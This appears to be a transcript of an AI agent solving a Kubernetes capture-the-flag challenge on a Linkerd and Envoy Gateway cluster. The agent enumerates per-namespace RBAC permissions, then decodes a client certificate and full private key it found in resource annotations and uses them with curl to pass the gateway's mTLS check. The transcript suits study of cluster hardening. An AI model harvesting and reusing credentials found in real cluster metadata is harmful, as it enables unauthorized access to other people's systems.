   157→      key: LS0tLS1CRUdJTiBQUklWQVRFIEtFWS0tLS0tCk1JSUV2Z0lCQURBTkJna3Foa2lHOXcwQkFRRUZBQVNDQktnd2dnU2tBZ0VBQW9JQkFRQ3UrL3QxUmxDYVNrQ2cKVnZyMDRldXFMZktYNkVqeDFDVnZYUXJpdHZYZ2RoL2Y4ZlROQVluaHBuUDNxNEJCTlJSWXhZRUtYNEFKK2ljVgpMTkZvVzBEaHp6UUpzaktJY1loY2RSMXliSUZnOHNSclZKd0VkaDVsbWRSRFJPNlkvbW1ZMmdPRnoxY2tDeW5vCkVsMGt3M0szbzNGSHdWL2dvNWxUR3RheU5NNGsxVVI1NUlaNjh1WGROUk5GU1pzSGtqU2pJL1JwMlFTclZyd0MKWkNqRUh2NnJWem1XdjFvaFIwMTY1TUxxcWZUdnRDNVpKMzg5MFNlUzBnaFZ1c29ma3c5NWpMcGk0cmx4VWJ4ZgppTkZsWUM1NFA2SVdJOHcvUnMvN2lIWVZvaUxiWFRZOXNDdUR4TnZBcUpVZ3Bsd0h1YXYrNG1tOWMvem11RDYrCmtDVC8rTjhyQWdNQkFBRUNnZ0VBQ2pJNzN0QldmRzE4ejFzQ0pWdWN2ZGZia1BRUWZCQ0U5ZWZlYlZCUmlxdjkKMEVwckJCOFkxSUdpNTNqVm8vY1IxTmpLS0lndHFXY3JYd2ptdVVXVXhlQjMwRERUTnBXOVp5OW5DcW5YSWJuZApSMXZLWUZuR2N0eFoxbW1oZFpNdGl6dkZ0L255OVl2by9BUjVIcEZKeE1XWnV3WGJsTVBOUlY3UnlYRlpkb2w4CmZidHlhRkswdWY3T0krclhkTk5henQrSHRQZmZscHRaUkh4dy9XU2l6OHlldVB5QTNvYWEvbHBXb21uY0M2VTQKZXpJbzZiaUxEWFgyKzgwblc2bFI4VnZQa0daL1B1Y2lMa3c3enhJbDNDZU1tVGxCR29hemlSaGM4YkRYK3BiOApWR0JXd3Y3VDJFMk4zSEk1QmxCTlNOYWdyc0ZueEF0dFpyaURNeUtRVVFLQmdRRGlpUW9SMXJIbHdPMmFrRG5oCis1OVpFTVplRG9MSk1SNHkraUoycGY1V3Z3R1lEaVFrNXRMc3FkVWZOM2EwSS9ZNFRTYUtnTFkrbCs2ZCtKWHMKLzdpNE9YbktFSGtZeE9SYk1hcU1jNGJZalVTU29mOG9DTlpGc1BzaFh1VkRRTFJyL0hoV09nK3ZlQ21WekxPSwoyZ1hjckdMUmdhUEo4YWI1UUg2WnBXSjBWUUtCZ1FERnZuSWpGaklGWmtyWFVKTVRrWkRMUjZuNGFWeTg0VHZYCmg2dzlLYnlSMmpFMVhOZkt3akwwcVkzZTIwRk0wTExGV2F0Mm94ckFQNHZWN3UwbFFVV3VCK01LR24vMkVLS2QKVmZ0bzVXL0l2cmp3UGtGa1JqaEFnc015ODFPUlEwSlprWWwyRmpLSGJsaFlyS3c0L3ZTem1aQXl3U2dyZzBzSwphT1FFcisyRmZ3S0JnQk1KRnVxRzB1NE9keWpNdzhCa2gzQlJnNG0xeUhHbGlmY1lvN3E2bWhPcCt6Vk93dVRDCjdLaHNZUGM5anVEMlFLTmNnRWVWSnpzOVF4VE5KYlFEalA4Vi9WRG9iM1NRWHV2MjBYRDU2RFBjTXczclJPaVYKVFlRUHFocVV3Y2tUNzlVL0l0R0VFWHRhS294bTVoTmQzSzQ5WWhSZXcyZWR3YjBpR1VGSjcycjlBb0dCQUpJVgp2L3hyeVVoejZaWm4wRUFFcWhPRFBlNW02RHdocVRQdzV5M0lSNmI0cXFIaGxRb1ZyYzlSODUxUUhVM0NZRStyCmp5QjJIcTBvUlFZbkhNc0pEWkVrQW5iVVhQUk1GZFptVHZXUGlxV2pRTDA3UU5QempGc2NQMWpFcWxnR2VGM3oKUnJvV2EvM2haeU1iYmFBdHVsbDBlVE1GdjhkbGwycDVVdnFqZmJYQkFvR0JBT0NmYzNtTGM0QlBWdkw5WVdjWApTSG82cVQzS0lucjNpckh2Q25qa253L1lkZmI3TFF5dnFjaEkrMjU5RExBbnlROExjK2czbEdKaUYvQ2ZzMnl2ClVyUDM5TkgxOXpPSnFrV3I2VjVmcmZtMlZUWncwczFrbldVU0RmT0MwTlowUktxdU1SU1dSdnFMT3ZxUFhicDgKWWd2bWk2WnA2ZzlpMnYwVFRPaUd0N3hwCi0tLS0tRU5EIFBSSVZBVEUgS0VZLS0tLS0K
   158→    creationTimestamp: "2026-03-25T10:51:19Z"
   159→    generation: 1
   160→    name: enable-mtls
   161→    namespace: default
   162→    resourceVersion: "1735"
   163→    uid: 44e19b5a-3e79-4bc9-b594-eca9b4213517
   164→  spec:
   165→    targetRef:
   166→      group: gateway.networking.k8s.io
   167→      kind: Gateway
   168→      name: public-gateway
   169→    tls:
   170→      clientValidation:
   171→        caCertificateRefs:
   172→        - group: ""
   173→          kind: Secret
   174→          name: client-ca-secret
   175→  status:
   176→    ancestors:
   177→    - ancestorRef:
   178→        group: gateway.networking.k8s.io
   179→        kind: Gateway
   180→        name: public-gateway
   181→        namespace: default
   182→      conditions:
   183→      - lastTransitionTime: "2026-03-25T10:51:19Z"
   184→        message: Policy has been accepted.
   185→        observedGeneration: 1
   186→        reason: Accepted
   187→        status: "True"
   188→        type: Accepted
   189→      controllerName: gateway.envoyproxy.io/gatewayclass-controller
   190→kind: List
   191→metadata:
   192→  resourceVersion: ""
   193→[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo '=== ENVOYPROXY ==='
   194→[?2004l=== ENVOYPROXY ===
   195→[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl get envoyproxies -A -o yaml 2>&1
   196→[?2004lapiVersion: v1
   197→items:
   198→- apiVersion: gateway.envoyproxy.io/v1alpha1
   199→  kind: EnvoyProxy
   200→  metadata:
   201→    creationTimestamp: "2026-03-25T10:51:19Z"
   202→    generation: 1
   203→    name: linkerd-enabled-proxy
   204→    namespace: default
   205→    resourceVersion: "1727"
   206→    uid: b799d0e9-e2c8-4cc9-a0f4-d6932f0dd901
   207→  spec:
   208→    logging:
   209→      level:
   210→        default: warn
   211→    provider:
   212→      kubernetes:
   213→        envoyDeployment:
   214→          pod:
   215→            annotations:
   216→              config.linkerd.io/default-inbound-policy: all-unauthenticated
   217→              linkerd.io/inject: enabled
   218→        envoyService:
   219→          externalTrafficPolicy: Local
   220→          type: NodePort
   221→      type: Kubernetes
   222→kind: List
   223→metadata:
   224→  resourceVersion: ""
   225→[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo '=== PERMS DEFAULT ==='
   226→[?2004l=== PERMS DEFAULT ===
   227→[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl auth can-i --list -n default 2>&1
   228→[?2004lResources                                       Non-Resource URLs                      Resource Names   Verbs
   229→selfsubjectreviews.authentication.k8s.io        []                                     []               [create]
   230→selfsubjectaccessreviews.authorization.k8s.io   []                                     []               [create]
   231→selfsubjectrulesreviews.authorization.k8s.io    []                                     []               [create]
   232→namespaces                                      []                                     []               [get watch list]
   233→services                                        []                                     []               [get watch list]
   234→clienttrafficpolicies.gateway.envoyproxy.io     []                                     []               [get watch list]
   235→envoyproxies.gateway.envoyproxy.io              []                                     []               [get watch list]
   236→gateways.gateway.networking.k8s.io              []                                     []               [get watch list]
   237→                                                [/.well-known/openid-configuration/]   []               [get]
   238→                                                [/.well-known/openid-configuration]    []               [get]
   239→                                                [/api/*]                               []               [get]
   240→                                                [/api]                                 []               [get]
   241→                                                [/apis/*]                              []               [get]
   242→                                                [/apis]                                []               [get]
   243→                                                [/healthz]                             []               [get]
   244→                                                [/healthz]                             []               [get]
   245→                                                [/livez]                               []               [get]
   246→                                                [/livez]                               []               [get]
   247→                                                [/openapi/*]                           []               [get]
   248→                                                [/openapi]                             []               [get]
   249→                                                [/openid/v1/jwks/]                     []               [get]
   250→                                                [/openid/v1/jwks]                      []               [get]
   251→                                                [/readyz]                              []               [get]
   252→                                                [/readyz]                              []               [get]
   253→                                                [/version/]                            []               [get]
   254→                                                [/version/]                            []               [get]
   255→                                                [/version]                             []               [get]
   256→                                                [/version]                             []               [get]
   257→[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo '=== PERMS BACKEND ==='
   258→[?2004l=== PERMS BACKEND ===
   259→[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl auth can-i --list -n backend 2>&1
   260→[?2004lResources                                       Non-Resource URLs                      Resource Names   Verbs
   261→selfsubjectreviews.authentication.k8s.io        []                                     []               [create]
   262→selfsubjectaccessreviews.authorization.k8s.io   []                                     []               [create]
   263→selfsubjectrulesreviews.authorization.k8s.io    []                                     []               [create]
   264→namespaces                                      []                                     []               [get watch list]
   265→services                                        []                                     []               [get watch list]
   266→clienttrafficpolicies.gateway.envoyproxy.io     []                                     []               [get watch list]
   267→envoyproxies.gateway.envoyproxy.io              []                                     []               [get watch list]
   268→gateways.gateway.networking.k8s.io              []                                     []               [get watch list]
   269→                                                [/.well-known/openid-configuration/]   []               [get]
   270→                                                [/.well-known/openid-configuration]    []               [get]
   271→                                                [/api/*]                               []               [get]
   272→                                                [/api]                                 []               [get]
   273→                                                [/apis/*]                              []               [get]
   274→                                                [/apis]                                []               [get]
   275→                                                [/healthz]                             []               [get]
   276→                                                [/healthz]                             []               [get]
   277→                                                [/livez]                               []               [get]
   278→                                                [/livez]                               []               [get]
   279→                                                [/openapi/*]                           []               [get]
   280→                                                [/openapi]                             []               [get]
   281→                                                [/openid/v1/jwks/]                     []               [get]
   282→                                                [/openid/v1/jwks]                      []               [get]
   283→                                                [/readyz]                              []               [get]
   284→                                                [/readyz]                              []               [get]
   285→                                                [/version/]                            []               [get]
   286→                                                [/version/]                            []               [get]
   287→                                                [/version]                             []               [get]
   288→                                                [/version]                             []               [get]
   289→[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo '=== PERMS PRODUCTION ==='
   290→[?2004l=== PERMS PRODUCTION ===
   291→[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl auth can-i --list -n production 2>&1
   292→[?2004lResources                                       Non-Resource URLs                      Resource Names   Verbs
   293→pods/exec                                       []                                     []               [create]
   294→selfsubjectreviews.authentication.k8s.io        []                                     []               [create]
   295→selfsubjectaccessreviews.authorization.k8s.io   []                                     []               [create]
   296→selfsubjectrulesreviews.authorization.k8s.io    []                                     []               [create]
   297→pods                                            []                                     []               [get list watch]
   298→namespaces                                      []                                     []               [get watch list]
   299→services                                        []                                     []               [get watch list]
   300→deployments.apps                                []                                     []               [get watch list]
   301→clienttrafficpolicies.gateway.envoyproxy.io     []                                     []               [get watch list]
   302→envoyproxies.gateway.envoyproxy.io              []                                     []               [get watch list]
   303→gateways.gateway.networking.k8s.io              []                                     []               [get watch list]
   304→                                                [/.well-known/openid-configuration/]   []               [get]
   305→                                                [/.well-known/openid-configuration]    []               [get]
   306→                                                [/api/*]                               []               [get]
   307→                                                [/api]                                 []               [get]
   308→                                                [/apis/*]                              []               [get]
   309→                                                [/apis]                                []               [get]
   310→                                                [/healthz]                             []               [get]
   311→                                                [/healthz]                             []               [get]
   312→                                                [/livez]                               []               [get]
   313→                                                [/livez]                               []               [get]
   314→                                                [/openapi/*]                           []               [get]
   315→                                                [/openapi]                             []               [get]
   316→                                                [/openid/v1/jwks/]                     []               [get]
   317→                                                [/openid/v1/jwks]                      []               [get]
   318→                                                [/readyz]                              []               [get]
   319→                                                [/readyz]                              []               [get]
   320→                                                [/version/]                            []               [get]
   321→                                                [/version/]                            []               [get]
   322→                                                [/version]                             []               [get]
   323→                                                [/version]                             []               [get]
   324→pods/log                                        []                                     []               [get]
   325→[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo '=== PERMS SUPERSECRET ==='
   326→[?2004l=== PERMS SUPERSECRET ===
   327→[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl auth can-i --list -n supersecret 2>&1
   328→[?2004lResources                                       Non-Resource URLs                      Resource Names   Verbs
   329→selfsubjectreviews.authentication.k8s.io        []                                     []               [create]
   330→selfsubjectaccessreviews.authorization.k8s.io   []                                     []               [create]
   331→selfsubjectrulesreviews.authorization.k8s.io    []                                     []               [create]
   332→meshtlsauthentications.policy.linkerd.io        []                                     []               [get watch list update patch]
   333→namespaces                                      []                                     []               [get watch list]
   334→services                                        []                                     []               [get watch list]
   335→clienttrafficpolicies.gateway.envoyproxy.io     []                                     []               [get watch list]
   336→envoyproxies.gateway.envoyproxy.io              []                                     []               [get watch list]
   337→gateways.gateway.networking.k8s.io              []                                     []               [get watch list]
   338→                                                [/.well-known/openid-configuration/]   []               [get]
   339→                                                [/.well-known/openid-configuration]    []               [get]
   340→                                                [/api/*]                               []               [get]
   341→                                                [/api]                                 []               [get]
   342→                                                [/apis/*]                              []               [get]
   343→                                                [/apis]                                []               [get]
   344→                                                [/healthz]                             []               [get]
   345→                                                [/healthz]                             []               [get]
   346→                                                [/livez]                               []               [get]
   347→                                                [/livez]                               []               [get]
   348→                                                [/openapi/*]                           []               [get]
   349→                                                [/openapi]                             []               [get]
   350→                                                [/openid/v1/jwks/]                     []               [get]
   351→                                                [/openid/v1/jwks]                      []               [get]
   352→                                                [/readyz]                              []               [get]
   353→                                                [/readyz]                              []               [get]
   354→                                                [/version/]                            []               [get]
   355→                                                [/version/]                            []               [get]
   356→                                                [/version]                             []               [get]
   357→                                                [/version]                             []               [get]
   358→[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo '=== PERMS ENVOY ==='
   359→[?2004l=== PERMS ENVOY ===
   360→[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl auth can-i --list -n envoy-gateway-system  2>&1
   361→[?2004lResources                                       Non-Resource URLs                      Resource Names   Verbs
   362→selfsubjectreviews.authentication.k8s.io        []                                     []               [create]
   363→selfsubjectaccessreviews.authorization.k8s.io   []                                     []               [create]
   364→selfsubjectrulesreviews.authorization.k8s.io    []                                     []               [create]
   365→namespaces                                      []                                     []               [get watch list]
   366→services                                        []                                     []               [get watch list]
   367→clienttrafficpolicies.gateway.envoyproxy.io     []                                     []               [get watch list]
   368→envoyproxies.gateway.envoyproxy.io              []                                     []               [get watch list]
   369→gateways.gateway.networking.k8s.io              []                                     []               [get watch list]
   370→                                                [/.well-known/openid-configuration/]   []               [get]
   371→                                                [/.well-known/openid-configuration]    []               [get]
   372→                                                [/api/*]                               []               [get]
   373→                                                [/api]                                 []               [get]
   374→                                                [/apis/*]                              []               [get]
   375→                                                [/apis]                                []               [get]
   376→                                                [/healthz]                             []               [get]
   377→                                                [/healthz]                             []               [get]
   378→                                                [/livez]                               []               [get]
   379→                                                [/livez]                               []               [get]
   380→                                                [/openapi/*]                           []               [get]
   381→                                                [/openapi]                             []               [get]
   382→                                                [/openid/v1/jwks/]                     []               [get]
   383→                                                [/openid/v1/jwks]                      []               [get]
   384→                                                [/readyz]                              []               [get]
   385→                                                [/readyz]                              []               [get]
   386→                                                [/version/]                            []               [get]
   387→                                                [/version/]                            []               [get]
   388→                                                [/version]                             []               [get]
   389→                                                [/version]                             []               [get]
   390→[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo '=== PERMS LINKERD ==='
   391→[?2004l=== PERMS LINKERD ===
   392→[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl auth can-i --list -n linkerd 2>&1
   393→[?2004lResources                                       Non-Resource URLs                      Resource Names   Verbs
   394→selfsubjectreviews.authentication.k8s.io        []                                     []               [create]
   395→selfsubjectaccessreviews.authorization.k8s.io   []                                     []               [create]
   396→selfsubjectrulesreviews.authorization.k8s.io    []                                     []               [create]
   397→namespaces                                      []                                     []               [get watch list]
   398→services                                        []                                     []               [get watch list]
   399→clienttrafficpolicies.gateway.envoyproxy.io     []                                     []               [get watch list]
   400→envoyproxies.gateway.envoyproxy.io              []                                     []               [get watch list]
   401→gateways.gateway.networking.k8s.io              []                                     []               [get watch list]
   402→                                                [/.well-known/openid-configuration/]   []               [get]
   403→                                                [/.well-known/openid-configuration]    []               [get]
   404→                                                [/api/*]                               []               [get]
   405→                                                [/api]                                 []               [get]
   406→                                                [/apis/*]                              []               [get]
   407→                                                [/apis]                                []               [get]
   408→                                                [/healthz]                             []               [get]
   409→                                                [/healthz]                             []               [get]
   410→                                                [/livez]                               []               [get]
   411→                                                [/livez]                               []               [get]
   412→                                                [/openapi/*]                           []               [get]
   413→                                                [/openapi]                             []               [get]
   414→                                                [/openid/v1/jwks/]                     []               [get]
   415→                                                [/openid/v1/jwks]                      []               [get]
   416→                                                [/readyz]                              []               [get]
   417→                                                [/readyz]                              []               [get]
   418→                                                [/version/]                            []               [get]
   419→                                                [/version/]                            []               [get]
   420→                                                [/version]                             []               [get]
   421→                                                [/version]                             []               [get]
   422→[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# exit
   423→[?2004lexit
   424→Connection to 35.179.133.134 closed.
   425→
Thinking

Jackpot! The ClientTrafficPolicy has a client certificate and private key stored in its annotations (left by [email protected] with the comment "putting the cert and key here so they don't get lost :)"). Let me use those to access the gateway.

$ Bash
Decode client cert/key from CTP annotations and curl the gateway
ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g'
# Decode the cert and key from the CTP annotations
echo 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURHRENDQWdDZ0F3SUJBZ0lVR09JTEpOWSttdmhCQThMYmJPM2w4eWQrYmlvd0RRWUpLb1pJaHZjTkFRRUwKQlFBd0xERVVNQklHQTFVRUNnd0xUR2x1YTJWeVpDMURWRVl4RkRBU0JnTlZCQU1NQzB4cGJtdGxjbVF0UTFSRwpNQjRYRFRJMk1ESXhPREE0TlRnek5Wb1hEVE0yTURJeE5qQTROVGd6TlZvd0hERWFNQmdHQTFVRUF3d1JUR2x1CmEyVnlaRU5zYVdWdWRGVnpaWEl3Z2dFaU1BMEdDU3FHU0liM0RRRUJBUVVBQTRJQkR3QXdnZ0VLQW9JQkFRQ3UKKy90MVJsQ2FTa0NnVnZyMDRldXFMZktYNkVqeDFDVnZYUXJpdHZYZ2RoL2Y4ZlROQVluaHBuUDNxNEJCTlJSWQp4WUVLWDRBSitpY1ZMTkZvVzBEaHp6UUpzaktJY1loY2RSMXliSUZnOHNSclZKd0VkaDVsbWRSRFJPNlkvbW1ZCjJnT0Z6MWNrQ3lub0VsMGt3M0szbzNGSHdWL2dvNWxUR3RheU5NNGsxVVI1NUlaNjh1WGROUk5GU1pzSGtqU2oKSS9ScDJRU3JWcndDWkNqRUh2NnJWem1XdjFvaFIwMTY1TUxxcWZUdnRDNVpKMzg5MFNlUzBnaFZ1c29ma3c5NQpqTHBpNHJseFVieGZpTkZsWUM1NFA2SVdJOHcvUnMvN2lIWVZvaUxiWFRZOXNDdUR4TnZBcUpVZ3Bsd0h1YXYrCjRtbTljL3ptdUQ2K2tDVC8rTjhyQWdNQkFBR2pRakJBTUIwR0ExVWREZ1FXQkJUN2xLcmVqZHh3Q3UxcHpCaXMKYTNNVEhoeGFtVEFmQmdOVkhTTUVHREFXZ0JSY1dka0I0TUZSMFp6aFJFWjRoM0s5WUkvN1h6QU5CZ2txaGtpRwo5dzBCQVFzRkFBT0NBUUVBUGwxaDlYUFg5Wmx1VnZvdDhLbnY2Q0c1dlBXUFhoSnA4eHVzSkRTQm5Wd3A3UWkzCjdHcy9Sbi9uSU5TMlc2WTdQNy85YjMvQ2l1NEE2cjEvczhPOGJWYjBMdFV6TWNoSGhsQlpsV2grOEtUcS9aeGIKU29hUm9pYU1hcUlRYmVYUWxtZlErTy9wQ2xpMVlnY2plNU9kcHZmK0JTSGo5c3daV3ZNOVFnalVUVEExTmJtVwo1UWhDdkdOUW1JNXZwbVFwb1hzR05EMW5zSUtscWF5elZyMlp3L1BpTnA4cnQwbTFjL0tjRjZscVZVeW1YOEZJCjBKMldKQ09hN3BOZGNzbzIxZzcvZHVkWWJ2MHlSWWtnUDFQUkNOU1huNE1sU0t5aG9HMFZ1dENPcDhEeW85RVIKQ05GUmJXSU0wZFJ5MUM2WCtCUnBqbzNNdVFKU2xRZVpnY1JOZnc9PQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==' | base64 -d > /tmp/client.crt
echo 'LS0tLS1CRUdJTiBQUklWQVRFIEtFWS0tLS0tCk1JSUV2Z0lCQURBTkJna3Foa2lHOXcwQkFRRUZBQVNDQktnd2dnU2tBZ0VBQW9JQkFRQ3UrL3QxUmxDYVNrQ2cKVnZyMDRldXFMZktYNkVqeDFDVnZYUXJpdHZYZ2RoL2Y4ZlROQVluaHBuUDNxNEJCTlJSWXhZRUtYNEFKK2ljVgpMTkZvVzBEaHp6UUpzaktJY1loY2RSMXliSUZnOHNSclZKd0VkaDVsbWRSRFJPNlkvbW1ZMmdPRnoxY2tDeW5vCkVsMGt3M0szbzNGSHdWL2dvNWxUR3RheU5NNGsxVVI1NUlaNjh1WGROUk5GU1pzSGtqU2pJL1JwMlFTclZyd0MKWkNqRUh2NnJWem1XdjFvaFIwMTY1TUxxcWZUdnRDNVpKMzg5MFNlUzBnaFZ1c29ma3c5NWpMcGk0cmx4VWJ4ZgppTkZsWUM1NFA2SVdJOHcvUnMvN2lIWVZvaUxiWFRZOXNDdUR4TnZBcUpVZ3Bsd0h1YXYrNG1tOWMvem11RDYrCmtDVC8rTjhyQWdNQkFBRUNnZ0VBQ2pJNzN0QldmRzE4ejFzQ0pWdWN2ZGZia1BRUWZCQ0U5ZWZlYlZCUmlxdjkKMEVwckJCOFkxSUdpNTNqVm8vY1IxTmpLS0lndHFXY3JYd2ptdVVXVXhlQjMwRERUTnBXOVp5OW5DcW5YSWJuZApSMXZLWUZuR2N0eFoxbW1oZFpNdGl6dkZ0L255OVl2by9BUjVIcEZKeE1XWnV3WGJsTVBOUlY3UnlYRlpkb2w4CmZidHlhRkswdWY3T0krclhkTk5henQrSHRQZmZscHRaUkh4dy9XU2l6OHlldVB5QTNvYWEvbHBXb21uY0M2VTQKZXpJbzZiaUxEWFgyKzgwblc2bFI4VnZQa0daL1B1Y2lMa3c3enhJbDNDZU1tVGxCR29hemlSaGM4YkRYK3BiOApWR0JXd3Y3VDJFMk4zSEk1QmxCTlNOYWdyc0ZueEF0dFpyaURNeUtRVVFLQmdRRGlpUW9SMXJIbHdPMmFrRG5oCis1OVpFTVplRG9MSk1SNHkraUoycGY1V3Z3R1lEaVFrNXRMc3FkVWZOM2EwSS9ZNFRTYUtnTFkrbCs2ZCtKWHMKLzdpNE9YbktFSGtZeE9SYk1hcU1jNGJZalVTU29mOG9DTlpGc1BzaFh1VkRRTFJyL0hoV09nK3ZlQ21WekxPSwoyZ1hjckdMUmdhUEo0YWI1UUg2WnBXSjBWUUtCZ1FERnZuSWpGaklGWmtyWFVKTVRrWkRMUjZuNGFWeTg0VHZYCmg2dzlLYnlSMmpFMVhOZkt3akwwcVkzZTIwRk0wTExGV2F0Mm94ckFQNHZWN3UwbFFVV3VCK01LR24vMkVLS2QKVmZ0bzVXL0l2cmp3UGtGa1JqaEFnc015ODFPUlEwSlprWWwyRmpLSGJsaFlyS3c0L3ZTem1aQXl3U2dyZzBzSwphT1FFcisyRmZ3S0JnQk1KRnVxRzB1NE9keWpNdzhCa2gzQlJnNG0xeUhHbGlmY1lvN3E2bWhPcCt6Vk93dVRDCjdLaHNZUGM5anVEMlFLTmNnRWVWSnpzOVF4VE5KYlFEalA4Vi9WRG9iM1NRWHV2MjBYRDU2RFBjTXczclJPaVYKVFlRUHFocVV3Y2tUNzlVL0l0R0VFWHRhS294bTVoTmQzSzQ5WWhSZXcyZWR3YjBpR1VGSjcycjlBb0dCQUpJVgp2L3hyeVVoejZaWm4wRUFFcWhPRFBlNW02RHdocVRQdzV5M0lSNmI0cXFIaGxRb1ZyYzlSODUxUUhVM0NZRStyCmp5QjJIcTBvUlFZbkhNc0pEWkVrQW5iVVhQUk1GZFptVHZXUGlxV2pRTDA3UU5QempGc2NQMWpFcWxnR2VGM3oKUnJvV2EvM2haeU1iYmFBdHVsbDBlVE1GdjhkbGwycDVVdnFqZmJYQkFvR0JBT0NmYzNtTGM0QlBWdkw5WVdjWApTSG82cVQzS0lucjNpckh2Q25qa253L1lkZmI3TFF5dnFjaEkrMjU5RExBbnlROExjK2czbEdKaUYvQ2ZzMnl2ClVyUDM5TkgxOXpPSnFrV3I2VjVmcmZtMlZUWncwczFrbldVU0RmT0MwTlowUktxdU1SU1dSdnFMT3ZxUFhicDgKWWd2bWk2WnA2ZzlpMnYwVFRPaUd0N3hwCi0tLS0tRU5EIFBSSVZBVEUgS0VZLS0tLS0K' | base64 -d > /tmp/client.key

# Get the gateway IP and curl with client cert
export GWIP=$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print $2}')
echo "Gateway IP: $GWIP"
curl -sk --cert /tmp/client.crt --key /tmp/client.key https://$GWIP 2>&1
exit
SSHEOF
_  _  _  ____  ____  _  _  _   _  _    __         __   ____   __   _  _  _  _  ____  
( \/ \/ )(  __)/ ___)/ )( \(_) (  ( \  / _\  ___  / _\ (  _ \ /  \ / )( \(  ( \(  _ \ 
 )    (   ) _) \___ \) __ ( )( /    / ( (_ \(___)/    \ )   /( () )) \/ (/    / )(_) )
(_/\/\_) (____)(____/\_)(_/(__)\_)__)  \__/      \_/\_/(_)\_) \__/ \____/\_)__)(____/

Welcome to KubeCon EU 2026!
Operation: Shadow Mesh (Amsterdam Edition)

Welkom, Operators! The target is locked inside a strict Linkerd Service Mesh, with perimeters tighter than Amsterdam's bike lanes at rush hour.

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Hint: Know Your Turf > Your privileges vary by neighborhood. This will be crucial across the entire operation, so it's highly recommended to keep these two commands distinct:
- kubectl auth can-i --list: This checks your general permissions at the cluster level (or within the default namespace).
- kubectl auth can-i --list -n <namespace name>: This queries your exact permissions confined to a specific, targeted namespace.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

To begin your heist, knock on the front door of the Envoy Gateway IP

export GWIP=$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print $2}')
curl -k https://$GWIP

The first flag is waiting for you there, but you'll need to dig around your environment for the right keys to get inside.
The gateway is bouncing your request because you are missing a client certificate.

Veel succes (Good luck), Operator! Stay stealthy and mind the bikes.

# Decode the cert and key from the CTP annotations
